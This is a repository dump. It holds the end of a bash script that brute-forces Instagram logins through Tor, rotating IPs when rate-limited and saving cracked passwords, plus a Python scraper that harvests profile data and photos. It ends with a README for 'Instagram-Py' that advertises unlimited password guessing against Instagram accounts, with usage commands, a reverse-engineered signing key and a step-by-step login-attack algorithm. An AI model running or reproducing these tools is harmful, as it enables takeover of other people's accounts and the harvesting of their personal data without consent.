197 | {(trap '' SIGINT && var=$(curl --socks5 127.0.0.1:9050 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "200\|challenge\|many tries\|Please wait"| uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instashell ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instashell \n\e[0m"; kill -1 $$ ; elif [[ $var == "200" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instashell ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instashell \n\e[0m"; kill -1 $$ ; elif [[ $var == "Please wait" ]]; then changeip; fi; ) } & done; wait $!;
198 | let startline+=$threads
199 | changeip
200 | done
201 | }
202 |
203 | case "$1" in --resume) resume ;; *)
204 | start
205 | bruteforcer
206 | esac
207 | #Dedicate to shit Martina
208 |
--------------------------------------------------------------------------------
/Instagram-OSINT/InstagramOSINT.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/env python3
2 | # Instagram Scraper
3 | # Coded by kal1gh0st
4 | # I am not responsible for anything you do with this script
5 | # This is mean to be imported as a python module for use in custom applications
6 | #
7 | #
8 |
9 | from bs4 import BeautifulSoup
10 | import json
11 | import os
12 | import requests
13 | import random
14 | import string
15 | import sys
16 | import time
17 |
18 |
19 | class colors:
20 | HEADER = '\033[95m'
21 | OKBLUE = '\033[94m'
22 | OKGREEN = '\033[92m'
23 | WARNING = '\033[93m'
24 | FAIL = '\033[91m'
25 | ENDC = '\033[0m'
26 | BOLD = '\033[1m'
27 | UNDERLINE = '\033[4m'
28 |
29 |
30 | class InstagramOSINT:
31 |
32 | def __init__(self, username):
33 | self.username = username
34 | self.useragents = ['Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36',
35 | 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36',
36 | 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36',
37 | 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14',
38 | 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36',
39 | 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36',
40 | 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36',
41 | 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36',
42 | 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36',
43 | 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0']
44 |
45 | self.scrape_profile()
46 |
47 |
48 | def __repr__(self):
49 | return f"Current Username: {self.username}"
50 |
51 | def __str__(self):
52 | return f"Current Username: {self.username}"
53 |
54 | def __getitem__(self, i):
55 | return self.profile_data[i]
56 |
57 |
58 | def scrape_profile(self):
59 | """
60 | This is the main scrape which takes the profile data retrieved and saves it into profile_data
61 | :params: None
62 | :return: profile data
63 | """
64 | # Get the html data with the requests module
65 | r = requests.get(f'http://instagram.com/{self.username}', headers={'User-Agent': random.choice(self.useragents)})
66 | soup = BeautifulSoup(r.text, 'html.parser')
67 | # Find the tags that hold the data we want to parse
68 | general_data = soup.find_all('meta', attrs={'property': 'og:description'})
69 | more_data = soup.find_all('script', attrs={'type': 'text/javascript'})
70 | description = soup.find('script', attrs={'type': 'application/ld+json'})
71 | # Try to parse the content -- if it fails then the program exits
72 | try:
73 | text = general_data[0].get('content').split()
74 | self.description = json.loads(description.get_text())
75 | self.profile_meta = json.loads(more_data[3].get_text()[21:].strip(';'))
76 |
77 | except:
78 | print(colors.FAIL + f"Username {username} not found" + colors.ENDC)
79 | return 1
80 | self.profile_data = {"Username": self.profile_meta['entry_data']['ProfilePage'][0]['graphql']['user']['username'],
81 | "Profile name": self.description['name'],
82 | "URL": self.description['mainEntityofPage']['@id'],
83 | "Followers": text[0], "Following": text[2], "Posts": text[4],
84 | "Bio": str(
85 | self.profile_meta['entry_data']['ProfilePage'][0]['graphql']['user']['biography']),
86 | "profile_pic_url": str(self.profile_meta['entry_data']['ProfilePage'][0]['graphql']['user'][
87 | 'profile_pic_url_hd']),
88 | "is_business_account": str(
89 | self.profile_meta['entry_data']['ProfilePage'][0]['graphql']['user'][
90 | 'is_business_account']),
91 | "connected_to_fb": str(self.profile_meta['entry_data']['ProfilePage'][0]['graphql']['user'][
92 | 'connected_fb_page']),
93 | "externalurl": str(
94 | self.profile_meta['entry_data']['ProfilePage'][0]['graphql']['user']['external_url']),
95 | "joined_recently": str(self.profile_meta['entry_data']['ProfilePage'][0]['graphql']['user'][
96 | 'is_joined_recently']),
97 | "business_category_name": str(
98 | self.profile_meta['entry_data']['ProfilePage'][0]['graphql']['user'][
99 | 'business_category_name']),
100 | "is_private": str(
101 | self.profile_meta['entry_data']['ProfilePage'][0]['graphql']['user']['is_private']),
102 | "is_verified": str(
103 | self.profile_meta['entry_data']['ProfilePage'][0]['graphql']['user']['is_verified'])}
104 |
105 | return self.profile_data
106 |
107 |
108 | def scrape_posts(self):
109 | """Scrapes all posts and downloads them
110 | :return: none
111 | :param: none
112 | """
113 | if self.profile_data['is_private'].lower() == 'true':
114 | print("[*]Private profile, cannot scrape photos!")
115 | return 1
116 | else:
117 | posts = {}
118 | for index, post in enumerate(self.profile_meta['entry_data']['ProfilePage'][0]['graphql']['user']['edge_owner_to_timeline_media']['edges']):
119 | os.mkdir(str(index))
120 | posts[index] = {"Caption": str(post['node']['edge_media_to_caption']['edges'][0]['node']['text']),
121 | "Number of Comments": str(post['node']['edge_media_to_comment']['count']),
122 | "Comments Disabled": str(post['node']['comments_disabled']),
123 | "Taken At Timestamp": str(post['node']['taken_at_timestamp']),
124 | "Number of Likes": str(post['node']['edge_liked_by']['count']),
125 | "Location": str(post['node']['location']),
126 | "Accessability Caption": str(post['node']['accessibility_caption'])
127 | }
128 |
129 | # Downloads the thumbnails of the post
130 | # Picture is just an int index of the url in the list
131 | with open(f'{os.getcwd()}/{index}/' + ''.join([random.choice(string.ascii_uppercase) for x in range(random.randint(1, 9))]) + '.jpg', 'wb') as f:
132 | # Delay the request times randomly (be nice to Instagram)
133 | time.sleep(random.randint(5, 10))
134 | r = requests.get(post['node']['thumbnail_resources'][0]['src'], headers={'User-Agent':random.choice(self.useragents)})
135 | # Takes the content of r and puts it into the file
136 | f.write(r.content)
137 |
138 | with open('posts.txt', 'w') as f:
139 | f.write(json.dumps(posts))
140 |
141 | def make_directory(self):
142 | """Makes the profile directory and changes the cwd to it
143 | this should only be called from the save_data function!
144 | :return: True
145 | """
146 | try:
147 | os.mkdir(self.username)
148 | os.chdir(self.username)
149 | except FileExistsError:
150 | num = 0
151 | while os.path.exists(self.username):
152 | num += 1
153 | try:
154 | os.mkdir(self.username + str(num))
155 | os.chdir(self.username + str(num))
156 | except FileExistsError:
157 | pass
158 |
159 | def save_data(self):
160 | """Saves the data to the username directory
161 | :return: none
162 | :param: none
163 | """
164 | self.make_directory()
165 | with open('data.txt', 'w') as f:
166 | f.write(json.dumps(self.profile_data))
167 | # Downloads the profile Picture
168 | self.download_profile_picture()
169 | print(f"Saved data to directory {os.getcwd()}")
170 |
171 | def print_profile_data(self):
172 | """Prints out the data to the screen by iterating through the dict with it's key and value
173 | :return: none
174 | :param: none
175 | """
176 | # Print the data out to the user
177 | print(colors.HEADER + "---------------------------------------------" + colors.ENDC)
178 | print(colors.OKGREEN + f"Results: scan for {self.profile_data['Username']} on instagram" + colors.ENDC)
179 | for key, value in self.profile_data.items():
180 | print(key + ':' + value)
181 |
182 | def download_profile_picture(self):
183 | """Downloads the profile pic and saves it to the directory
184 | :return: none
185 | :param: none
186 | """
187 | with open("profile_pic.jpg", "wb") as f:
188 | time.sleep(1)
189 | r = requests.get(self.profile_data['profile_pic_url'], headers={'User-Agent':random.choice(self.useragents)})
190 | f.write(r.content)
191 |
192 |
--------------------------------------------------------------------------------
/Instagram-OSINT/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2020 sc1341
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/Instagram-OSINT/README.md:
--------------------------------------------------------------------------------
1 | # Instagram OSINT Tool
2 |
3 |
4 | The Instagram OSINT Tool gets a range of information from an Instagram account that you normally wouldn't be able to get
5 | from just looking at their profile
6 |
7 | The information includes:
8 |
9 |
10 | 1. Username
11 | 2. Profile Name
12 | 3. URL
13 | 4. Followers
14 | 5. Following
15 | 6. Number of Posts
16 | 7. Bio
17 | 8. Profile Picture URL
18 | 9. Is Business Account?
19 | 10. Connected to a FB account?
20 | 11. External URL
21 | 12. Joined Recently?
22 | 13. Business Category Name
23 | 14. Is private?
24 | 15. Is Verified?
25 | 16. Downloads Public Photos
26 |
27 | # Usage
28 | Note: You must use python3.6 or greater due to the use of "f" strings
29 |
30 | 1. `pip3 install -r requirements.txt`
31 | 2. `python3 main.py --username USERNAME`
32 |
33 | 
34 |
35 | Please note that InstagramOSINT.py is for importing as python module, this is for use in custom applications and not to be run from the command line
36 |
37 |
38 |
39 | # Output
40 |
41 | The output format is a dict/json inside of a txt file in the directory created for the profile that you scanned
42 |
43 |
44 | # API InstagramOSINT.py Usage
45 |
46 | This is useful when trying to apply this codebase to any projects. The API is really simple to use and uses python features to make it easier to use such as indexing
47 |
48 | Examples:
49 |
50 | `from InstagramOSINT import *`
51 |
52 | `instagram = InstagramOSINT(username='USERNAMEHERE')`
53 |
54 | `print(instagram.profile_data)`
55 |
56 | `print(instagram['Username'])`
57 |
58 | `instagram.print_profile_data()`
59 |
60 | `instagram.save_data()`
61 |
62 | `instagram.scrape_posts()`
63 |
64 |
65 |
66 | # Disclaimer
67 |
68 | I am not responsible for anything you do with this tool that could be considered illegal. Do not break the law!
69 |
--------------------------------------------------------------------------------
/Instagram-OSINT/banner.py:
--------------------------------------------------------------------------------
1 | banner = '''
2 |
3 | ██╗███╗ ██╗███████╗████████╗ █████╗ ██████╗ ██████╗ █████╗ ███╗ ███╗ ██████╗ ███████╗██╗███╗ ██╗████████╗
4 | ██║████╗ ██║██╔════╝╚══██╔══╝██╔══██╗██╔════╝ ██╔══██╗██╔══██╗████╗ ████║ ██╔═══██╗██╔════╝██║████╗ ██║╚══██╔══╝
5 | ██║██╔██╗ ██║███████╗ ██║ ███████║██║ ███╗██████╔╝███████║██╔████╔██║ ██║ ██║███████╗██║██╔██╗ ██║ ██║
6 | ██║██║╚██╗██║╚════██║ ██║ ██╔══██║██║ ██║██╔══██╗██╔══██║██║╚██╔╝██║ ██║ ██║╚════██║██║██║╚██╗██║ ██║
7 | ██║██║ ╚████║███████║ ██║ ██║ ██║╚██████╔╝██║ ██║██║ ██║██║ ╚═╝ ██║ ╚██████╔╝███████║██║██║ ╚████║ ██║
8 | ╚═╝╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝╚═╝ ╚═══╝ ╚═╝
9 |
10 |
11 | '''
--------------------------------------------------------------------------------
/Instagram-OSINT/main.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/env python3
2 | # Instagram Scraper
3 | # Coded by kal1gh0st
4 | # I am not responsible for anything you do with this script
5 | # This is the main script meant to be run from the command line
6 | #
7 | #
8 | import argparse
9 | from bs4 import BeautifulSoup
10 | import json
11 | import os
12 | import requests
13 | import random
14 | import string
15 | import sys
16 | import time
17 |
18 | from banner import banner
19 |
20 |
21 | class colors:
22 | HEADER = '\033[95m'
23 | OKBLUE = '\033[94m'
24 | OKGREEN = '\033[92m'
25 | WARNING = '\033[93m'
26 | FAIL = '\033[91m'
27 | ENDC = '\033[0m'
28 | BOLD = '\033[1m'
29 | UNDERLINE = '\033[4m'
30 |
31 |
32 | class InstagramOSINT:
33 |
34 | def __init__(self, username, downloadPhotos):
35 | self.useragents = ['Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36',
36 | 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36',
37 | 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36',
38 | 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14',
39 | 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36',
40 | 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36',
41 | 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36',
42 | 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36',
43 | 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36',
44 | 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0']
45 |
46 | self.username = username
47 | # Make the directory that we are putting the files into
48 | self.make_directory()
49 | print(colors.OKGREEN + f"[*] Starting Scan on {self.username}" + colors.ENDC)
50 | # Get the html data with the requests module
51 | r = requests.get(f'http://instagram.com/{self.username}', headers={'User-Agent': random.choice(self.useragents)})
52 | soup = BeautifulSoup(r.text, 'html.parser')
53 | # To prevent a unicode error, we need the following line...
54 | soup.encode('utf-8')
55 | # Find the tags that hold the data we want to parse
56 | general_data = soup.find_all('meta', attrs={'property': 'og:description'})
57 | more_data = soup.find_all('script', attrs={'type': 'text/javascript'})
58 | description = soup.find('script', attrs={'type': 'application/ld+json'})
59 | # Try to parse the content -- if it fails then the program exits
60 | try:
61 | self.text = general_data[0].get('content').split()
62 | # This is the profile description data
63 | self.description = json.loads(description.get_text())
64 | # This is the javascript json that is passed into json.loads()
65 | self.profile_meta = json.loads(more_data[3].get_text()[21:].strip(';'))
66 |
67 | except:
68 | print(colors.FAIL + f"Username {self.username} not found" + colors.ENDC)
69 | sys.exit()
70 | self.profile_data = {"Username": self.profile_meta['entry_data']['ProfilePage'][0]['graphql']['user']['username'],
71 | "Profile name": self.description['name'],
72 | "URL": self.description['mainEntityofPage']['@id'],
73 | "Followers": self.text[0], "Following": self.text[2], "Posts": self.text[4],
74 | "Bio": str(
75 | self.profile_meta['entry_data']['ProfilePage'][0]['graphql']['user']['biography']),
76 | "profile_pic_url": str(self.profile_meta['entry_data']['ProfilePage'][0]['graphql']['user'][
77 | 'profile_pic_url_hd']),
78 | "is_business_account": str(
79 | self.profile_meta['entry_data']['ProfilePage'][0]['graphql']['user'][
80 | 'is_business_account']),
81 | "connected_to_fb": str(self.profile_meta['entry_data']['ProfilePage'][0]['graphql']['user'][
82 | 'connected_fb_page']),
83 | "externalurl": str(
84 | self.profile_meta['entry_data']['ProfilePage'][0]['graphql']['user']['external_url']),
85 | "joined_recently": str(self.profile_meta['entry_data']['ProfilePage'][0]['graphql']['user'][
86 | 'is_joined_recently']),
87 | "business_category_name": str(
88 | self.profile_meta['entry_data']['ProfilePage'][0]['graphql']['user'][
89 | 'business_category_name']),
90 | "is_private": str(
91 | self.profile_meta['entry_data']['ProfilePage'][0]['graphql']['user']['is_private']),
92 | "is_verified": str(
93 | self.profile_meta['entry_data']['ProfilePage'][0]['graphql']['user']['is_verified'])}
94 |
95 | # Tries to scrape posts if it is a public profile
96 | self.save_data()
97 | if downloadPhotos == True:
98 | self.scrape_posts()
99 | self.print_data()
100 |
101 | def scrape_posts(self):
102 | """Scrapes all posts and downloads thumbnails when necessary
103 | :return: none
104 | :param: none
105 | """
106 | if self.profile_data['is_private'].lower() == 'true':
107 | print("[*]Private profile, cannot scrape photos!")
108 | else:
109 | print("[*]Getting Photos")
110 | posts = {}
111 | for index, post in enumerate(self.profile_meta['entry_data']['ProfilePage'][0]['graphql']['user']['edge_owner_to_timeline_media']['edges']):
112 | os.mkdir(str(index))
113 | try:
114 | posts[index] = {"Caption": str(post['node']['edge_media_to_caption']['edges'][0]['node']['text']),
115 | "Number of Comments": str(post['node']['edge_media_to_comment']['count']),
116 | "Comments Disabled": str(post['node']['comments_disabled']),
117 | "Taken At Timestamp": str(post['node']['taken_at_timestamp']),
118 | "Number of Likes": str(post['node']['edge_liked_by']['count']),
119 | "Location": str(post['node']['location']),
120 | "Accessability Caption": str(post['node']['accessibility_caption'])
121 | }
122 | except IndexError:
123 | posts[index] = {"Caption": 'No Caption on this post',
124 | "Number of Comments": str(post['node']['edge_media_to_comment']['count']),
125 | "Comments Disabled": str(post['node']['comments_disabled']),
126 | "Taken At Timestamp": str(post['node']['taken_at_timestamp']),
127 | "Number of Likes": str(post['node']['edge_liked_by']['count']),
128 | "Location": str(post['node']['location']),
129 | "Accessability Caption": str(post['node']['accessibility_caption'])
130 | }
131 |
132 | # Downloads the thumbnails of the post
133 | # Picture is just an int index of the url in the list
134 | with open(f'{os.getcwd()}/{index}/' + ''.join([random.choice(string.ascii_uppercase) for x in range(random.randint(1, 9))]) + '.jpg', 'wb') as f:
135 | # Delay the request times randomly (be nice to Instagram)
136 | time.sleep(random.randint(5, 10))
137 | r = requests.get(post['node']['thumbnail_resources'][0]['src'], headers={'User-Agent':random.choice(self.useragents)})
138 | # Takes the content of r and puts it into the file
139 | f.write(r.content)
140 | print("Got an Image")
141 |
142 | with open('posts.txt', 'w') as f:
143 | f.write(json.dumps(posts))
144 |
145 | def make_directory(self):
146 | """Makes the profile directory and changes the cwd to it
147 | :return: True
148 | """
149 | try:
150 | os.mkdir(self.username)
151 | os.chdir(self.username)
152 | except FileExistsError:
153 | num = 0
154 | # This is a loop to keep trying to make a new directory if a scan has already
155 | # been done on a profile and that directory exists
156 | while os.path.exists(self.username):
157 | num += 1
158 | try:
159 | os.mkdir(self.username + str(num))
160 | os.chdir(self.username + str(num))
161 | except FileExistsError:
162 | pass
163 |
164 | def save_data(self):
165 | """Saves the data to the username directory
166 | :return: none
167 | :param: none
168 | """
169 | with open('data.txt', 'w') as f:
170 | f.write(json.dumps(self.profile_data))
171 | # Downloads the profile Picture
172 | self.download_profile_picture()
173 | print(f"Saved data to directory {os.getcwd()}")
174 |
175 | def print_data(self):
176 | """Prints out the data to the screen by iterating through the dict with it's key and value
177 | :return: none
178 | :param: none
179 | """
180 | # Print the data out to the user
181 | print(colors.HEADER + "---------------------------------------------" + colors.ENDC)
182 | print(colors.OKGREEN + f"Results: scan for {self.profile_data['Username']} on instagram" + colors.ENDC)
183 | for key, value in self.profile_data.items():
184 | print(key + ': ' + value)
185 |
186 | def download_profile_picture(self):
187 | """Downloads the profile pic and saves it to the directory
188 | :return: none
189 | :param: none
190 | """
191 | with open("profile_pic.jpg", "wb") as f:
192 | time.sleep(1)
193 | r = requests.get(self.profile_data['profile_pic_url'], headers={'User-Agent':random.choice(self.useragents)})
194 | f.write(r.content)
195 |
196 |
197 | def parse_args():
198 | parser = argparse.ArgumentParser(description="Instagram OSINT tool")
199 | parser.add_argument("--username", help="profile username", required=True, nargs=1)
200 | parser.add_argument("--downloadPhotos", help="Downloads the users photos if their account is public", required=False, action='store_true')
201 | return parser.parse_args()
202 |
203 |
204 | def main():
205 | args = parse_args()
206 | print(colors.OKBLUE + banner + colors.ENDC)
207 | if args.username[0].strip() == '':
208 | print("Please enter the username")
209 | sys.exit()
210 | else:
211 | osint = InstagramOSINT(username=args.username[0], downloadPhotos=args.downloadPhotos)
212 |
213 |
214 | if __name__ == '__main__':
215 | main()
216 |
--------------------------------------------------------------------------------
/Instagram-OSINT/requirements.txt:
--------------------------------------------------------------------------------
1 | argparse
2 | bs4
3 | requests
4 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Instagram
2 | Instagram-Py
3 | Instagram-py performs slick brute force attack on Instagram without any type of password limiting
4 | and also resumes your attack in ease.
5 | —DeathSec
6 |
7 | 
8 |
9 | Why?
10 | I Actually started this project for proof of concept that we can brute force Instagram forever.
11 | When I created the prototype and posted on Twitter , I got a lot of people who wanted a simple slick tool to execute
12 | brute force attack on Instagram , So I thought why reinvent the wheel?....
13 | So I searched Github and found nothing worth value , some were fake or poorly engineered!
14 | And here it is a Authentic brute force tool for Instagram
15 | How?
16 | We use , tor to change our ip once blocked for many tries and continue attack.
17 | Since the official api is not a hacker wants, So we use the InstagramAPK signature to stay anonymous!
18 | And we also save the progress so that even in network interruption we can avoid breaking the computer!
19 | See the 'Algorimthm' section down below for more hackery!
20 | What?
21 | Instagram-Py is a slick python script to perform brute force attack against Instagram ,
22 | this script can bypass login limiting on wrong passwords , so basically it can test infinite number of passwords.
23 | Instagram-Py is proved and can test over 6M passwords on a single instagram account with less resource as possible
24 | This script mimics the activities of the official instagram android app and sends request over tor so you are secure ,
25 | but if your tor installation is misconfigured then the blame is on you.
26 | Features
27 | Instagram-Py Scripting
28 |
29 | Craft your own python script which will embed into Instagram-Py for Maximum Customization of your brute force attack , example: What if you want a message sent to your phone when an account is hacked?
30 |
31 | Resumes Attacks when the same wordlist is used on the same Username
32 |
33 | Dumps successfully cracked accounts in the dump
34 |
35 | Maximum Customization! ( This includes multiple attack vectors! )
36 |
37 | Fast and Clean Code , no ugly selenum drivers! ( Pure Requests )
38 |
39 | Elegant Tor Identity Change with Stem ( Tor's Official Library for Python )
40 |
41 | Depends on: python3 , tor , requests , requests[socks] , stem
42 |
43 | Installation
44 | Upgrading Instagram-Py with pip
45 | $ sudo pip3 install instagram-py --upgrade
46 | using pip to get Instagram-py
47 | Make sure you have got the latest version of pip(>= 9.0 and python(>= 3.6)
48 |
49 | $ sudo easy_install3 -U pip # you have to install python3-setuptools , update pip
50 | $ sudo pip3 install requests --upgrade
51 | $ sudo pip3 install requests[socks]
52 | $ sudo pip3 install stem
53 | $ sudo pip3 install instagram-py
54 | $ instagram-py # installed successfully
55 | $ # Configuration is Super Important so Lets Create One
56 | $ instagram-py --create-configuration # follow the steps...
57 | Configuring Instagram-Py
58 | As of v2.0.0 Configuration is Simply done by Passing an Argument to Instagram-Py
59 |
60 | $ instagram-py --create-configuration
61 | $ # OR
62 | $ instagram-py -cc
63 | Or if you just want the default settings without the annoying questions then
64 |
65 | $ instagram-py --create-configuration --default-configuration
66 | $ # OR
67 | $ instagram-py -cc -dc
68 | Configuring Tor server to open control port
69 | open your tor configuration file usually located at /etc/tor/torrc
70 |
71 | $ sudo vim /etc/tor/torrc # open it with your text editor
72 | search for the file for this specific section
73 |
74 | ## The port on which Tor will listen for local connections from Tor
75 | ## controller applications, as documented in control-spec.txt.
76 | #ControlPort 9051
77 | uncomment 'ControlPort' by deleting the # before 'ControlPort' , now save the file and restart your tor server
78 |
79 | now you are ready to crack any instagram account , make sure your tor configuration matched ~/instapy-config.json
80 |
81 | Usage
82 | Finally , now you can use instagram-py!
83 |
84 | Instagram-Py Scripting lets you run Custom Python Scripts Inside Instagram-Py!
85 |
86 | Never Run Instagram-Py with Multiple Instance! , Use Instagram-Py Scripting Instead!
87 |
88 | $ instagram-py -u your_account_username -pl path_to_password_list
89 | Note: Without the -c optional argument , instagram-py will not continue the attack
90 |
91 | usage: instagram-py [-h] [--username USERNAME] [--password-list PASSWORD_LIST]
92 | [--script SCRIPT] [--inspect-username INSPECT_USERNAME]
93 | [--create-configuration] [--default-configuration]
94 | [--countinue] [--verbose]
95 |
96 | optional arguments:
97 | -h, --help show this help message and exit
98 | --username USERNAME, -u USERNAME
99 | username for Instagram account
100 | --password-list PASSWORD_LIST, -pl PASSWORD_LIST
101 | password list file to try with the given username.
102 | --script SCRIPT, -s SCRIPT
103 | Instagram-Py Attack Script.
104 | --inspect-username INSPECT_USERNAME, -i INSPECT_USERNAME
105 | Username to inspect in the instagram-py dump.
106 | --create-configuration, -cc
107 | Create a Configuration file for Instagram-Py with
108 | ease.
109 | --default-configuration, -dc
110 | noconfirm for Instagram-Py Configuration Creator!
111 | --countinue, -c Countinue the previous attack if found.
112 | --verbose, -v Activate Verbose mode. ( Verbose level )
113 |
114 | example: instagram-py -c -vvv -u instatestgod__ -pl rockyou.txt
115 |
116 | Report bug, suggestions and new features at https://github.com/deathsec/instagram-py
117 | Instagram-Py Scripting
118 | Instagram-Py now lets you run your custom scripts inside of it for maximum customization of your attacks. This Scripts are simple Python Scripts ( You Can just do anything that is possible with python )
119 |
120 | Refer the Wiki to get full information about Instagram-Py Scripting , https://github.com/deathsec/instagram-py/wiki Also look into the examples tree present in this repo , it contains simple example scripts.
121 |
122 | You Can Always View the Cracked Passwords Using this command!
123 |
124 | $ instagram-py -i instatestgod__
125 | $ # Displays record if it is cracked in the past!
126 | Algorithm
127 | Instagram-Py uses a very simple algorithm for checking passwords efficiently , this section is dedicated for those who wish to recreate this program in any other language.
128 |
129 | You can see this live when you run the tool in max verbosity
130 |
131 | $ instagram-py -vvv -u instatestgod__ -pl password_list.lst
132 | You can also use Instagram-Py as a module , so that you can also use it in your script
133 |
134 | What we do
135 | Step 1: Get the magic cookie , which is used to verify device integrity!
136 |
137 | Getting the magic cookie is the simplest job , all we need to do is send a get request to https://i.instagram.com/api/v1/si/fetch_headers/?challenge_type=signup&guid= , where the guid get parameter is a random 32 character string. The random 32 character string can be generator using python's simple uuid library , to be specific v4 of UUID. So finally we just have to request the url https://i.instagram.com/api/v1/si/fetch_headers/?challenge_type=signup&guid=800e88b931bf491fa3b4a7afa4e679eb and get the cookie named csrftoken , if we observe the response header we could see that our cookie only expires next year the same day. So by this we only have to make this request once and can use it for a year! How vulnerable is that?...
138 |
139 | https://raw.githubusercontent.com/deathsec/instagram-py/master/observations/cookies.png
140 | Step 2: Build a post request with Instagram's signature.
141 |
142 | This part is simple but may be difficult to setup , first i need to get instagram's signature which is only present in their free apk from google play , Remember our Strength can be our Weakness , All i have to do reverse engineer the apk and find the signature, lets call it ig_sig.
143 |
144 | ig_sig = 4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178
145 | ig_version = 4
146 | Instagram uses HMAC Authentication for login stuff, so lets use python's hmac library. But first we have to build our body which will be encoded in json for it to actually sign with ig_sig , So the post body looks likes this...
147 |
148 | phone_id =
149 | _csrftoken =
150 | username =
151 | guid =
152 | device_id = android-
153 | password =
154 | login_attempt_count = 0
155 | The above will be encoded to JSON , So to test the password we have to post the data to this url https://i.instagram.com/api/v1/accounts/login/ig_sig_key_version=4&signed_body=. .
156 |
157 | : using HMAC , sign our json encoded data with ig_sig and return a hexa value.
158 |
159 | : the same data in json but we url encode so that it goes properly to insta!
160 |
